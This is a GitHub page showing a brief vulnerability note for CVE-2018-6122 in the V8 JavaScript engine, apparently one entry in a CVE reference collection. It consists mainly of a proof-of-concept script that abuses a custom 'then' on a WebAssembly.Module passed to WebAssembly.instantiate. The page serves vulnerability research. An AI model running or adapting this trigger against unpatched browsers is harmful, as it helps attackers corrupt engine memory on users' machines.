Skip to content

Latest commit

 

History

History
26 lines (21 loc) · 554 Bytes

CVE-2018-6122.md

File metadata and controls

26 lines (21 loc) · 554 Bytes
Raw

CVE-2018-6122

  • Report: APr 2018
  • Fix: Apr 2018

PoC

load('test/mjsunit/wasm/wasm-constants.js');
load('test/mjsunit/wasm/wasm-module-builder.js');
const builder = new WasmModuleBuilder();
builder.addMemory(16, 32);
builder.addFunction("test", kSig_i_v).addBody([
  kExprI32Const, 12,         // i32.const 0
]);
let bla = 0;
let module = new WebAssembly.Module(builder.toBuffer());
module.then = (resolve) => {
  return resolve(0x41414141);
};
WebAssembly.instantiate(module);

Reference